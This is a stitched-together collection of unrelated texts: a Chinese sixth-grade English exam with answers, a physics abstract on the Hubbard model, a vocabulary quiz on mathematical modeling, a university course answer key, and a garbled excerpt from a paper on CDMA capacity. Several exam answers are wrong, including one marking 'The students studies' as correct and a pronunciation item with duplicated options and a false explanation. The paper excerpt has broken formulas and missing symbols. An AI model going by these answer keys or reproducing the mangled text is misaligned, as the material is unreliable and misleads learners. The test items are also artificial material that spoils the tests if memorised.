answer is B.5.You are listening to a conversation between two students, Alice and Bob, discussing their weekend plans. Listen carefully and answer the following question.Question: What activity do Alice and Bob plan to do together this weekend?A. Go shoppingB. Watch a movieC. Go hikingD. Visit a museumAnswer: CExplanation: The conversation goes like this: “Alice: Hi Bob, do you have any plans for the weekend?” “Bob: No, not really. How about you?” “Alice: I was thinking of going hiking. Wou ld you like to join me?” “Bob: Sure, that sounds fun!”6.Listen to a short dialogue between a teacher and a student named Lily about her science project. Then answer the following question.Question: What is Lily’s science project about?A. WeatherB. PlantsC. AnimalsD. The solar systemAnswer: BExplanation: The dialogue goes like this: “Teacher: Lily, how is your science project coming along?” “Lily: It’s going well. I’m doing a project on different types of plants.” “Teacher: That’s great! Plants are f ascinating subjects to study.”7、Listen to the conversation and choose the correct answer.A. The boy is reading a book.B. The girl is playing the piano.C. They are doing their homework together.Answer: CExplanation: In the conversation, the boy says, “Let’s do our homework together.” and the girl agrees. Therefore, the correct answer is C.8、Listen to the passage and answer the question.Question: What is the weather like today?A. SunnyB. RainyC. CloudyAnswer: BExplanation: In the passage, the speaker says, “The weather forecast says it will be rainy today.” Therefore, the correct answer is B.9、What does the boy want to do after school?A) Go swimming.B) Play basketball.C) Visit the library.Answer: B) Play basketball.Explanation: In the dialogue, the boy mentions that he plans to go to the park to play basketball with his friends right after school.10、How does the girl feel about the upcoming field trip?A) Excited.B) Worried.C) Indifferent.Answer: A) Excited.Explanation: When asked about the field trip next week, the girl responds with enthusiasm, saying she can’t wait to visit the science museum and see all the exhibits.11.Listen to the conversation and answer the question.A. What is the weather like today?B. Where is Tom going for the weekend?C. How is Tom feeling this morning?Answer: BExplanation: The conversation mentions, “Tom, are you ready for the weekend trip?” indicating that the topic is about where Tom is going for the weekend.12.Listen to the dialogue and complete the sentence with the correct word.The teacher asked the students to bring__________to the school assembly.A. a dictionaryB. their booksC. the slidesAnswer: BExplanation: The teacher’s request for the students to bring something to the school assembly is likely related to a presentation or activity, making “their books” a reasonable answer as they often carry books to school events. The other options, a dictionary and the slides, are less likely as they are not typically items brought to a school assembly unless specified.二、选择题（本大题有12小题，每小题2分，共24分）1、Choose the correct form of the verb to complete the sentence:•The students (study, studies) very hard every day.•Answer: studies•Explanation: In the third person singular present tense, the verb usually ends with “-s”. Here, “The students” is considered a singular entity performing the action, so we use “studies”.2、Select the correct preposition to fill in the blank:•We arrived________Beijing at 9 o’clock in the morning.•Options: A) at, B) in, C) on•Answer: B) in•Explanation: When talking about arriving at a large place such as a city, we use the preposition “in”. Thus, “We arrived in Beijing” is the correct choice.3、What is the capital city of China?A. ShanghaiB. BeijingC. GuangzhouD. Hong KongAnswer: BExplanation: Beijing is the capital city of China. While Shanghai, Guangzhou, and Hong Kong are all significant cities in China, they are not the capital.Shanghai is known for its economic importance, Guangzhou is famous for its history and culture, and Hong Kong is a special administrative region known for its financial and trade sectors.4、Which of the following is a famous historical site in Beijing?A. The Great Wall of ChinaB. The Eiffel TowerC. The Statue of LibertyD. The ParthenonAnswer: AExplanation: The Great Wall of China is a famous historical site located in Beijing. The Eiffel Tower is located in Paris, France; the Statue of Liberty is located in New York City, United States; and the Parthenon is located in Athens, Greece. These are iconic landmarks in their respective countries but are not located in Beijing.5、Which sentence correctly uses the past perfect tense?A) She had finished her homework before she went to bed.B) She finished her homework before she goes to bed.C) She has finished her homework before she went to bed.D) She finish her homework before she went to bed.Answer: AExplanation: The correct choice is A because it uses the past perfect tense (“had finished”) to indicate that one action (finishing homework) occurredbefore another action (going to bed) in the past. Choices B, C, and D do not use the correct verb tenses or forms to convey this sequence of events.6、Choose the sentence that is grammatically correct:A) If I would have known, I wouldn’t have come.B) If I had known, I wouldn’t have come.C) If I know, I won’t come.D) If I knew, I won’t have come.Answer: BExplanation: The correct choice is B. This sentence properly uses the third conditional, which talks about a hypothetical situation in the past and its possible results. The structure “If + past perfect, would have + past participle” is used to describe a situation that did not happen and its imagined consequences. Choice A incorrectly mixes the second and third conditionals. Choice C uses the first conditional, which does not fit the context of a past hypothetical situation. Choice D incorrectly combines the second and third conditionals.7、What is the correct pronunciation of the word “shelter” in American English?A. /ˈʃɛltər/B. /ˈʃɛltər/C. /ˈʃɛltɚ/D. /ˈʃɛltɚ/Answer: B. /ˈʃɛltər/Explanation: The correct pronunciation of “shelter” in American English is /ˈʃɛltər/. The ‘e’ in “shelter” is long, as in the word “see.”8、Which of the following sentences is grammatically correct?A. The children has gone to the park.B. The children have gone to the park.C. The children has been gone to the park.D. The children has been gone to the park.Answer: B. The children have gone to the park.Explanation: The correct sentence is B because “children” is a plural noun, and the correct form of the verb “to go” for a plural subject is “have gone.” The other options are incorrect due to incorrect verb agreement and tense usage.9、Whic h of the following sentences uses the correct form of the verb ‘to be’?A)She are a good student.B)He am from China.C)They is very happy.D)I am learning English.Answer: D) I am learning English.Explanation:The verb ‘to be’ changes its form based on the subject. ‘I’ is followed by ‘am’, ‘he/she/it’ is followed by ‘is’, and ‘you/we/they’ is followed by ‘are’. In option D, ‘I’ is correctly matched with ‘am’.10、Choose the sentence that has the same meaning as: “It’s not far fro m here to the park.”A)The park is close to here.B)Here is a long way from the park.C)The distance from the park to here is big.D)It’s a short distance between the park and there.Answer: A) The park is close to here.Explanation: The original sentence means that the park can be reached without traveling a great distance. Option A conveys this meaning by stating that the park is near or at a short distance from the current location.11、The following sentence contains an error in punctuation. Which one is it?A. “She went to the park, and bought some apples, and then went home.”B. “She went to the park and bought some apples, then went home.”C. “She went to the park; bought some apples; and then went home.”D. “She went to the park, bought some apples, then went home.”Answer: CExplanation: The correct punctuation should be used to separate the independent clauses. In option C, there should not be a comma after “park” and “apples” as they are not independent clauses but part of the main clause. The correct sente nce should be “She went to the park; bought some apples; then went home.”12、Choose the correct word to complete the sentence.The teacher asked the students to write a story about a (circle the correct word) adventure.A. excitingB. excitedC. exciteD. excitinglyAnswer: AExplanation: The correct word to complete the sentence should be an adjective that describes the type of adventure. “Exciting” is the correct choice because it is an adjective that means something that is thrilling or enjoyable. The other options are either verbs or adverbs, which do not fit the context of the sentence.三、完型填空（10分）Beijing Edition English, Grade 6, First Semester Midterm ExamPart III: Cloze Test (10 points)Read the passage below and choose the best answer to complete the sentences.It was a bright and sunny day. Sarah and her family decided to go on a picnic in the park. They packed some delicious food and drinks. When they arrived at the park, they found a nice spot under a big tree. The tree provided(1)_______shade for them to enjoy their meal. After eating, Sarah’s brother, Tom, suggested they play (2) _______. Everyone agreed, and they had a lot of fun playing together. Later, Sarah wanted to read a book, so she took out her favorite storybook from her backpack. She sat down and started reading, whileher parents were chatting and enjoying the (3) _______. Suddenly, a little squirrel came close to them, looking for some (4) _______. Sarah gave it a small piece of bread, and the squirrel happily accepted it. It was such a (5)_______day, and Sarah felt very happy that they spent time as a family.1.__________2.__________3.__________4.__________5.__________A. coolB. warmC. hotA. soccerB. chessC. cardsA. weatherB. picnicC. sceneryA. waterB. foodC. shelterA. boringB. tiringC. wonderfulAnswers:1.A. cool2.A. soccer3.C. scenery4.B. food5.C. wonderfulThis cloze test is designed to be suitable for a 6th-grade level, with vocabulary and context that should be familiar and engaging for students.四、阅读理解（26分）Reading ComprehensionPassage:In the heart of Beijing, the Forbidden City stands as a testament to the grandeur of ancient Chinese emperors. Covering an area of 720,000 square meters, the Forbidden City was the imperial palace for 24 emperors during the Ming and Qing dynasties. It was built in the early 15th century and took 14 years to complete. The palace complex consists of 96 palaces and courtyards, with 8707 rooms in total. The walls of the Forbidden City are 10 meters high and 860 meters long, encircling the entire palace grounds.The Forbidden City was not only a political center but also a spiritual andcultural hub. Emperors would hold important ceremonies, such as the Imperial Sacrifice, to show their respect for ancestors and gods. The architecture of the Forbidden City is a blend of Chinese traditional style and Ming and Qing dynasty characteristics. The main buildings, such as the Hall of Supreme Harmony, the Hall of Middle Harmony, and the Hall of Preserving Harmony, are grand and imposing, showcasing the power and majesty of the imperial family.Today, the Forbidden City is a major tourist attraction in Beijing. It offers a glimpse into the past and a chance to appreciate the rich cultural heritage of China. Many visitors are fascinated by the intricate carvings, paintings, and calligraphy found throughout the palace.Questions:1.How long did it take to build the Forbidden City?A) 10 yearsB) 14 yearsC) 20 yearsD) 24 years2.What is the total number of palaces and courtyards in the Forbidden City?A) 96B) 192C) 8707D) 10,0003.What is the main purpose of the Imperial Sacrifice?A) To c elebrate the emperors’ birthdaysB) To honor ancestors and godsC) To display the emperors’ wealthD) To practice martial artsAnswers:1.B) 14 years2.A) 963.B) To honor ancestors and gods五、写作题（16分）Writing Prompt (题目):Imagine you are writing a letter to your pen pal in the United Kingdom. Your pen pal wants to know about your favorite traditional Chinese festival. Choose one festival that you enjoy the most and describe it in detail. Explain why this festival is important to you and your family, what special activities or customs are associated with it, and any personal experiences you have had during this celebration. Remember to use descriptive language to help your pen pal understand the significance of the festival.Sample Response (写作示例):Dear [Pen Pal’s Name],I hope this letter finds you well. I was delighted to receive your last letter and learn more about the festivals celebrated in the UK. In return, I would like to share with you my favorite traditional Chinese festival, which is theMid-Autumn Festival, also known as the Moon Festival.The Mid-Autumn Festival falls on the 15th day of the 8th lunar month, when the moon is believed to be at its fullest and brightest. It is a time when families gather together to appreciate the beauty of the full moon, eat delicious mooncakes, and light colorful lanterns. The festival symbolizes unity and happiness, and it is one of the most important celebrations in Chinese culture.In my family, we usually start preparing for the festival a few days before it arrives. My grandmother makes homemade mooncakes with lotus seed paste and salted egg yolks, which are traditional fillings. The process is quite intricate, but the result is worth the effort. On the night of the festival, we go to a nearby park where many people are out enjoying the moonlight. We bring our own lanterns and join in the fun. There are dragon dances and performances, which add to the festive atmosphere.One of my fondest memories of the Mid-Autumn Festival was last year when my cousin and I made our very own lanterns using bamboo sticks and colored paper. It was challenging, but we were so proud when we lit them up and joined the parade. The festival not only brings joy but also teaches us the value of family and tradition.I hope this gives you a glimpse into how we celebrate the Mid-Autumn Festival in China. Perhaps next year, if you have the chance to visit China during this time, you can experience it firsthand!Best wishes,[Your Name]Analysis (解析):This letter effectively communicates the significance of the Mid-Autumn Festival to a foreign audience by providing a detailed description of the event, including its date and traditions. The writer successfully incorporates personal experiences to make the festival come alive, making the letter engaging and informative. The choice of vocabulary and descriptive language helps the reader visualize the celebrations and understand their importance to the writer and their family. This approach not only fulfills the task requirements but also encourages cultural exchange and understanding between the writer and their pen pal.This writing prompt and sample response should provide a good framework for evaluating the student’s ability to express themselves in Engli sh while sharing aspects of their culture.。

Quantum Deformations of the One-Dimensional Hubbard Model

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Abstract The centrally extended superalgebra psu(2|2) R3 was shown to play an important role for the integrable structures of the one-dimensional Hubbard model and of the planar AdS/CFT correspondence. Here we consider its quantum deformation Uq (psu(2|2) R3 ) and derive the fundamental R-matrix. From the latter we deduce an integrable spin chain Hamiltonian with three independent parameters and the corresponding Bethe equations to describe the spectrum on periodic chains. We relate our Hamiltonian to a two-parametric Hamiltonian proposed by Alcaraz and Bariev which can be considered a quantum deformation of the one-dimensional Hubbard model.
† ∼ c† 1 c2 |◦ .
(1.1)
The middle two states are considered fermionic while the outer two states are overall bosonic. This model is exciting because it shows some characteristics of superconductivity, and therefore it is very desirable to understand its foundations well. Integrability was established by Lieb and Wu who also solved the spectrum by means of the Bethe ansatz [3]. An R-matrix which encodes the integrable structure was later found by Shastry [4]. On the one hand, the R-matrix is the foundation for much of the integrable machinery, such as the algebraic Bethe ansatz [5, 6]. On the other hand, this particular R-matrix is rather exceptional because unlike most other known R-matrices it cannot be written as a function of the diﬀerence of two spectral parameters. Altogether, the 1

高二英语数学建模方法单选题20题

高二英语数学建模方法单选题20题1. In the process of mathematical modeling, "parameter" means _____.A. a fixed valueB. a variable valueC. a constant valueD. a random value答案：A。

解析：“parameter”常见释义为“参数”，通常指固定的值，选项 A 符合；选项B“variable value”意为“变量值”；选项C“constant value”指“常数值”；选项D“random value”是“随机值”，在数学建模中“parameter”通常指固定的值。

2. When building a mathematical model, "function" is often used to describe _____.A. a relationship between inputs and outputsB. a set of random numbersC. a single valueD. a group of constants答案：A。

解析：“function”在数学建模中常被用来描述输入和输出之间的关系，选项 A 正确；选项B“a set of random numbers”表示“一组随机数”；选项C“a single value”是“单个值”；选项D“a group of constants”指“一组常数”。

3. In the context of mathematical modeling, "optimization" refers to _____.A. finding the best solutionB. creating a new modelC. changing the parameters randomlyD. ignoring the constraints答案：A。

学术英语(下)智慧树知到课后章节答案2023年下华南理工大学

学术英语（下）智慧树知到课后章节答案2023年下华南理工大学华南理工大学模块一测试1.How can we begin an academic text? ( )答案:Briefly describe the primary setting of the text;Open with a riddle, joke or story;State the thesis briefly and directly;Pose a question related to the subject2.When a researcher is first introduced, which kind of information should beincluded? ( )答案:Full name and contact information;Current position and general interest;Awards received3.The abstract usually displays the text’s purpose, the main problem orquestion it answers, research methods, research subjects, and the mainfindings. ( )答案:对nguage patterns, such as “however”, “whereas” and “despite”, are the onlydevices to show the contradictory or contrast relationship between the two ideas. ( )答案:错5. A good opening often has the functions of ( ).答案:providing information to orient readers;showing the focus of the text;introducing the topic of the text6.What should be avoided when you first introduce a researcher? ( )答案:Make the introduction redundant and casual模块二测试1.Which of the following components is Not necessary for an argumentativeessay? ( )答案:counterargument2.Which of the following statements is Not true about the Toulmin model? ( )答案:It is useful for making simple arguments.3.What does “compare” mean in a compare and contrast essay? （）答案:to identify the similarities between the subjects4.To write a good compare and contrast essay, what should the author do first?( )答案:Choose the subjects.5.How many types are there for the Block structure of a cause and effect essay?( )答案:two6.Which step is Not necessary for writing a cause and effect essay? ( )答案:Collect opposing opinions7.What is a problem-solution essay used for? ( )答案:Discussing possible methods to solve the problem.模块三测试1.Which of the following verbs can be used to introduce a citation in a seminar?( )答案:reveal2.When mentioning the author/authors of the resources, we should alwaysmention the full name. ( )答案:错3.Which of the following should not be mentioned in your evaluation of a textwhen you are attending a seminar? ( )答案:The detailed information of the author or the research team.4.After presenting your view, hypothetical examples are not allowed to be usedto support your idea. ( )答案:错5.Which of the following is not a clarifying question? ( )答案:Is there evidence to your claim?模块四测试1.When we identify the pros in an academic material, we should pay attentionto the key words like ( ).答案:advantage;positive2.In our daily life, choosing what food to eat for lunch is a kind of comparison.( )答案:对3.While following a lecture, you can try key words, symbols and abbreviationsin your notes to save time and catch up with the speaker. （）答案:对4. A linear system usually has headings at different levels.（）答案:对5.The Cornell method of taking notes was developed by Dr. Walter Pauk ofHarvard University. （）答案:错6.In a charting system, you need to draw a chart and then fill in the facts in theappropriate blanks.（）答案:对7. A fact is a statement that is true and can be proven.（）答案:对模块五测试1.When a researcher is first introduced in a text, which of the followinginformation is not provided? ( )答案:age2.What is the thesis of the text “Working with Robots: Human and MachineCoexistence in the Workforce” (Book 2, Unit 5)? （）答案:Human and machine will work together.3.Which of the following should be included in the introduction? （）答案:A thesis statement.4.With regard to children’s health, the author’s attitude towards social media is( ).答案:negative5.The outbreak of intense anger might cause a heart attack. ( )答案:对6.The author uses a Dove commercial to attract readers. The short video tellsthe audience through an experiment that you are more beautiful in the eyes of others than you are in your own.（）答案:对7.Quotations can be classified into direct and indirect quotations. （）答案:对。

Tight Bounds on the Capacity of Binary Input random CDMA Systems

a rXiv:083.1454v1[cs.IT]1Mar28Tight Bounds on the Capacity of Binary Input random CDMA Systems Satish Babu Korada and Nicolas Macris School of Information and Communication Sciences Ecole Polytechnique F´e d´e rale de Lausanne LTHC-IC-Station 14,CH-1015Lausanne Switzerland March 10,2008Abstract We consider multiple access communication on a binary input additive white Gaussian noise channel using randomly spread code division.For a general class of symmetric distributions for spreading coeﬃcients,in the limit of a large number of users,we prove an upper bound on the capacity,which matches a formula that Tanaka obtained by using the replica method.We also show concentration of various relevant quantities including mutual information,capacity and free energy.The mathe-matical methods are quite general and allow us to discuss extensions to other multiuser scenarios.1Introduction Code Division Multiple Access (CDMA)has been a successful scheme for reliable communication between multiple users and a common receiver.The scheme consists of K users modulating their information sequence by a signature sequence,also known as spreading sequence,of length N and transmitting.The number N is sometimes referred to as the spreading gain or the number of chips per sequence.The receiver obtains the sum of all transmitted signals and the noise which is assumed to be white and Gaussian (AWGN).The achievable rate region (for real valued inputs)with power constraints and optimal decoding has been given in [1].There it is shown that the achievable rates depend only on the correlation matrix of the spreading coeﬃcients.It is well known that these detectors have exponential (in K )complexity.Therefore,it is important to analyze the performance under sub-optimal but low-complexity detectors like the linear detectors.For a good overview of these detectors we refer to [2].In [3],the authorsconsidered random spreading (spreading sequences are chosen randomly)and analyzed the spectral eﬃciency,deﬁned as the bits per chip that can be reliably transmitted,for these detectors.In the large-system limit (K →∞,N →∞,KOur main contributions in this paper are twofold.First we prove that Tanaka’s formula is an upper bound to the capacity for all values of the parameters and second we prove various useful concentration theorems in the large-system limit.1.1Statistical Mechanics ApproachThere is a natural connection between various communication systems and statistical mechanics of random spin systems,stemming from the fact that often in both systems there is a large number of degrees of freedom(bits or spins),interacting locally,in a random environment.So far,there have been applications of two important but somewhat complementary approaches of statistical mechanics of random systems.Theﬁrst one is the very important but mathematically uncontrolled replica method.The merit of this approach is to obtain conjectural but rather explicit formulas for quantities of interest such as, free energy,conditional entropy or error probability.In some cases the naturalﬁxed point structure embodied in the meanﬁeld formulas allows to guess good iterative algorithms.This program has been carried out for linear error correcting codes,source coding,multiuser settings like broadcast channel(see for example[11],[12],[13])and the case of interest here[7]:randomly spread CDMA with binary inputs.The second type of approach aims at a rigorous understanding of the replica formulas and has its origins in methods stemming from mathematical physics(see[14,15],[9]).For systems whose underlying degrees of freedom have Gaussian distribution(Gaussian input symbols or Gaussian spins in continuous spin systems)random matrix methods can successfully be employed.However when the degrees of freedom are binary(binary information symbols or Ising spins)these seem to fail,but the recently developed interpolation method[14],[15]has had some success1.The basic idea of the interpolation method is to study a measure which interpolates between the posterior measure of the ideal decoder and a meanﬁeld measure.The later can be guessed from the replica formulas and from this perspective the replica method is a valuable tool.So far this program has been developed only for linear error correcting codes on sparse graphs and binary input symmetric channels[16],[17].In this paper we develop the interpolation method for the random CDMA system with binary inputs (in the large-system limit).The situation is qualitatively diﬀerent than the ones mentioned above in that the“underlying graph”is complete.Superﬁcially one might think that it is similar to the Sherrington-Kirkpatrick model which was theﬁrst one treated by the interpolation method.However as we will see the analysis of the randomly spread CDMA system is substantially diﬀerent due to the structure of the interaction between degrees of freedom.1.2Communication SetupWe consider a scenario where K users send binary information symbols xk =(s1k,...,s Nk)t where the components are independently identically distributed.For each timedivision(or chip)interval i=1,...,N the received signal y√=(n1,...,n N)t are independent identically distributed Gaussian variables N(0,1)so that the noise power isσ2.The variance of s ik is set to1and the scaling factor1/√1Let us point out that,as will be shown later in this paper,the interpolation method can also serve as an alternative to random matrix theory for Gaussian inputs.In particular,our favorite Gaussian and binary cases are included in this class,and also any compactly supported distribution.An inspection of our proofs suggests that the results could be extended to a larger class satisfying:Assumption B.The distribution p(s ik)is symmetric withﬁnite second and fourth moments. However to keep the proofs as simple as possible only one of the theorems is proven with such generality.In the sequel we use the notations s for the N×K matrix(s ik),S for the corresponding random matrix,and X for the input and output random vectors.Our main interest is in proving a“tight”upper bound onC K=1E S[I(X)](1)in the large-system limit K→+∞with K(x;Yand thus so is its average.Moreover the later is invariant under the transformations p X(ǫ1x1,ǫ2x2,...,ǫK x K)whereǫi=±bining these two facts we deduce that the maximum in(1)is attained for the convex combination1(ǫ1x1,...,ǫK x K)=1KmaxQ Kk=1p k(x k)I(X)(2)where the maximum is over p i(x)=p iδ(x−1)+(1−p i)δ(x+1)and p i∈[0,1],i=1,...,k.In the large-system limit we are able to prove a concentration theorem for the mutual information I(X) which implies that if(p1,...,p K)belongs to aﬁnite discrete set D with cardinality increasing at most polynomially in K,then(2)concentrates on1;Y2as long as1;YThen,by the analysis in[18],formula(1)gives the capacity.If users do not cooperate p X| Y|s[H(X)]is the average over Y|y(xZ(y2σ2 y2s x,s)= x(x2σ2 y2s xis carried out with the distribution induced by the channel transition probabilityp(y0p X(x2σ2y2s x(√(√,s)(5)where in the sum x.In view of this it is not surprising that the free energyf(yKln Z(yK I(X)=−1|s[f(y2β−min p X,S[f(yis attained for p X)=12(1+m)−1λz+λ))(10)withλ=12 2πdz,has to be maximized over a parameter2m.It iseasy3to see that the maximizer must satisfy theﬁxed point conditionm= Dz tanh(√2this parameter can be interpreted as the expected value of the MMSE estimate for the information bits 3using integration by parts formula for Gaussian random variablesThe formal calculations involved in the replica method make clear that the formula(9)should not depend on the distribution of the spreading sequence(see[7]).In the present problem one expects a priori that replica symmetry is not broken because of a gauge symmetry induced by channel symmetry.For this reason Tanaka’s formula is conjectured to be exact. Our upper bound(Theorem6)on the capacity precisely coincides with the above formulas and strongly supports this conjecture.Recent work announced by Montanari and Tse[10]also provides strong support to the conjecture at least in a regime ofβwithout phase transitions(more precisely,forβ≤βs(σ)whereβs(σ)is the maximal value ofβsuch that the solution of(12)remains unique).The authorsﬁrst solve the case of sparse signature sequence(using the area theorem and the data processing inequality)in the limit K→∞.Then the dense signature sequence(which is of interest here)is recovered by exchanging the K→∞and sparse→dense limits.1.4Gaussian inputsIn the case of continuous inputs x k∈R,in formulas(4),(5) x.The capacity is maximized by a Gaussian prior,p X)=e−||x22log(1+σ−2−12βlog(1+σ−2β−18βσ−2(14)whereQ(x,z)= z)2+1− z)2+1 2On the other hand Tanaka applied the formal replica method to this case and found(9)withc RS(m)=12βlogλσ2−λ1+λ(16)Solving(16)we obtain m=σ2N ﬁxed(Theorems1,3in section2.1).As we will see the mathematical underpinning of this is the concentration of a more fundamental object,namely,the“free energy”of the associated spin system(Theorem2).Infact this turns out to be important in the proof of the bound on capacity.When the spreading coeﬃcients are Gaussian the main tool used is a powerful theorem[9]of the concentration of Lipschitz functions of many independent Gaussian variables,and this leads to subexponential concentration bounds.For more general spreading coeﬃcient distributions such tools do not suﬃce and we have to combine them with martingale arguments which lead to weaker algebraic bounds.Since the concentration proofs are mainly technical they are presented in appendices B,C.Sections3and4form the core of the paper.They detail the proof of the main Theorem6announced in section2.4,namely the tight upper bound on capacity.We use ideas from the interpolation method combined with a non-trivial concentration theorem for the empirical average of soft bit estimates.Section5shows that the average capacity is independent of the spreading sequence distribution at least for the case where it is symmetric and decays fast enough(Theorem4in section2.2).This enables us to restrict ourselves to the case of Gaussian spreading sequences which is more amenable to analysis. The existence of the limit K→∞for the capacity is shown in section6.Section7discusses various extensions of this work.We sketch the treatment for unequal powers for each user as well as colored noise.As alluded to before the bound on capacity for the case of Gaussian inputs can also be obtained by the present method and we give some indications to this eﬀect.The appendices contain the proofs of various technical calculations.Preliminary versions of the results obtained in this paper have been summarized in references[20]and[21].2Main Results2.1ConcentrationIn the case of a Gaussian input signal,the concentration can be deduced from general theorems on the concentration of the spectral density for random matrices,but this approach breaks down for binary inputs.Here we prove,Theorem1(concentration of capacity,Gaussian spreading sequence,binary inputs).Assume the distribution p(s ik)are standard Gaussians.Givenǫ>0,there exists an integer K1=O(|lnǫ|) independent of p X;Y;Yσ4(64β+32+σ2)−1.16The mathematical underpinning of this result is in fact a more general concentration result for the free energy(6),that will be of some use latter on.Theorem2(concentration of free energy,Gaussian spreading sequence,binary inputs.). Assume the distribution p(s ik)are standard Gaussians.Givenǫ>0,there exists an integer K2= O(|lnǫ|)independent of p X√,s)−E Y,s)]|≥ǫ]≤3e−α2ǫ2σ4β3β+σ)−2.32We prove these theorems thanks to powerful probabilistic tools developed by Ledoux and Talagrand for Lipschitz functions of many Gaussian random variables.These tools are brieﬂy reviewed in Appendix B for the convenience of the reader and the proofs of the theorems are presented in Appendix C. Unfortunately the same tools do not apply directly to the case of other spreading sequences.However in this case the following weaker result can at least be obtained.Theorem3(concentration,general spreading sequence).Assume the spreading sequence satisﬁes assumption B.There exists an integer K1independent of p X;Y;YKǫ2P[f(y,S[f(yKǫ2for some constantα>0and independent of K.To prove such estimates it is enough(by Chebycheﬀ)to control second moments.For the mutual information we simply have to adapt martingale arguments of Pastur,Scherbina and Tirrozzi,[22,23] whereas the case of free energy is more complicated because of the additional Gaussian noiseﬂuctuations. We deal with these by combining martingale arguments and Lipschitz function techniques.The concentration of capacity,namelyP[|maxp X ;Y E S[I(X)]|≥ǫK]≤α)P[maxp X ;Y;YKǫ2(18)To see this it suﬃces to note that for two positive functions f and g we have|max f−max g|≤max|f−g|. But unfortunately it is not clear how to extend our proofs to obtain(18).However as announced in the introduction we can deduce(18)from our theorems,by using the union bound,as long as the maximum is carried out over aﬁnite set(suﬃciently small with respect to K)of distributions.We wish to argue here that Theorem2suggests a method for proving the concentration of the bit error rate(BER)for uncoded communication1KKk=1x0,kˆx k)(19)where the MAP bit estimate for uncoded communication is deﬁned through the marginal of(3),namelyˆx k=argmax xk ={±1}p(x k|yx k p(x,s)(a soft bit estimate or“magnetization”)can be obtained from the free energy by addingﬁrst an in-ﬁnitesimal perturbation(“small external magneticﬁeld”)to the exponent in(3),namely h K k=1x0k x k, and then diﬀerentiating the perturbed free energy4,1dh 1,s)However one really needs to relate sign x k to the derivative of the free energy and this does not appear to be obvious.One way out is to introduce product measures of n copies(also called“real replicas”)of the posterior measurep(x,s)p(x,s)...p(x,s)and then relateKk=1(x0k x k )n=K k=1 x0k x1k...x0k x n k nto a suitable derivative of the replicated free energy.Then from the set of all moments one can in principle reconstruct sign x k .Thus one could try to deduce the concentration of the BER from the one for the free energy.However the completion of this program requires a uniform,with respect the system size,control of the derivative of the free energy precisely at h=0,which at the moment is still lacking5.2.2Independence with respect to the distribution of the spreading sequence The replica method leads to the same Tanaka formula for general class of symmetric distributions p(s ik)=p(−s ik).We are able to prove this:in particular binary and Gaussian spreading sequences lead to the same capacity.Theorem4.Consider CDMA with binary inputs and assume A for the spreading sequence.Let C g be the capacity for Gaussian spreading sequences(symmetric i.i.d with unit variance).Thenlim K→+∞(C K−C g)=0This theorem turns out to be very useful in order to obtain the bound on capacity because it allows us to make use of convenient integration by parts identities that have no clear counterpart in the non-Gaussian case.The proof of the theorem is given in section5.2.3Existence of the limit K→+∞The interpolation method can be used to show the existence of the limit K→+∞for C K.Theorem5.Consider CDMA with binary inputs and assume A for the spreading sequences with uniform input distribution.ThenlimK→∞C K exists(20)The proof of this theorem is given in section6for Gaussian spreading sequences.The general case then follows because of Theorem4.2.4Tight upper bound on the capacityThe main result of this paper is that Tanaka’s formula(10)is an upper bound to the capacity for all values ofβ.Theorem6.Consider CDMA with binary inputs and assume A for the spreading sequence.We havelim K→∞C K≤minm∈[0,1]c RS(m)(21)where c RS(m)is given by(10).If we combine this result with an inequality in Montanari and Tse[10],and exchanging as they do the limits of K→+∞and sparse→dense,one can deduce that the equality holds for some regime of noise smaller than a critical value.This value corresponds to the threshold for belief propagation decoding.Note that this equality is valid even ifβis such that there is a phase transition(theﬁxed point equation(12)has many solutions),whereas in[10]the equality holds for values ofβfor which the phase transition does not occur.Since the proof is rather complicated weﬁnd it useful to give the main ideas in an informal way.The integral term in(10)suggests that we can replace the original system with a simpler system where the user bits are sent through K independent Gaussian channels given by˜y k=x k+1λw k(22)where w k∼N(0,1)andλis an eﬀective SNR.Of course this argument is a bit naive because this eﬀective system does not account for the extra terms in(10),but it has the merit of identifying the correct interpolation.We introduce an interpolating parameter t∈[0,1]such that the independent Gaussian channels correspond to t=0and the original CDMA system corresponds to t=1(see Figure2.4)It is convenient to denote the SNR of the original Gaussian channel as B(that is B=σ−2).Then(11)becomesλ=Bsx t ))yλ(t ))N (0,λ(t ))˜y ˜y ˜y Figure 1:The information bits x k are transmitted through the normal CDMA channel with variance 1λ(t )We introduce two interpolating SNR functions λ(t )and B (t )such thatλ(0)=λ,B (0)=0and λ(1)=0,B (1)=B (23)andB (t )1+βB (1−m )(24)The meaning of (24)is the following.In the interpolating t -system the eﬀective SNR seen by each user has an eﬀective t -CDMA part and an independent channel part λ(t )chosen such that the total SNR is ﬁxed to the eﬀective SNR of the CDMA system.There is a whole class of interpolating functions satisfying the above conditions but it turns out that we do not need to specify them more precisely except for the fact that B (t )is increasing,λ(t )is decreasing and with continuous ﬁrst derivatives.Subsequent calculations are independent of the particular choices of functions.The parameter m is to be considered as ﬁxed to any arbitrary value in [0,1].All the subsequent calculations are independent of its value,which is to be optimized to tighten the ﬁnal bound.We now have two sets of channel outputs y(from the independent channels with noise variance λ(t )−1)and the interpolating communication system has a posterior distributionp t (x ,˜y 2K Z (y ,s )exp −B (t )−N −1 2−λ(t )−x (X2K .By analyzing the mutual information E S [I t (X ,˜Y ;Y ;˜Y,˜Y ,˜y 2K x ( 2πλ(t )−1)K e −B (t )−N −10 2−λ(t )−xIn order to carry out this program successfully it turns out that we need a concentration result on empirical average of the“magnetization”,m1=1,˜y0is transmitted.The distribution of the received vectors with this assumption isp t(y|s)=12πB(t)−1)N( 2 y2s x2 ˜y0 2(27)For technical reasons that will become clear only in the next section we consider a slightly more general interpolation system where the perturbation termh u(x uKk=1h k x k+u K k=1x0k x k−√=B(t)−1/2n0and˜y+x|n,h Zt,uexp −1+N−12s(x) 2(29)−1+λ(t)10−x)with the obvious normalization factor Z t,u.We deﬁne a free energyf t,u(n,hKln Z t,u(30) For t=1we recover the original free energy,E[f(y2+limu→0E[f1,u(n,hwhile for t=0the statistical sums decouple and we have the explicit result61,w,s)]=−1λz+λ))(31)where E denotes the appropriate collective expectation over random objects.In view of formula(7)in order to obtain the average capacity it is suﬃcient to computelimK→+∞limu→0E[f1,u(n,h2(32)There is no loss in generality in settingx0k=1(33) for the input symbols.From now on in sections3,4,and6we stick to(33).We also use the shorthand notationsz k=x0k−x k=1−x k,f t,u(n,h)|≤2√u E[|h k|]+u(34) therefore we can permute the two limits in(32)and computelimu→0limK→+∞E[f1,u]+1dtE[f t,u](35) Our task is now reduced to estimatinglimu→0limK→+∞1dtdKKk=1x k(36) A closely related quantity is the“overlap parameter”q12=1(1)|n,h(2)|n,h,w,s).u),uniformly in KLemma1.The 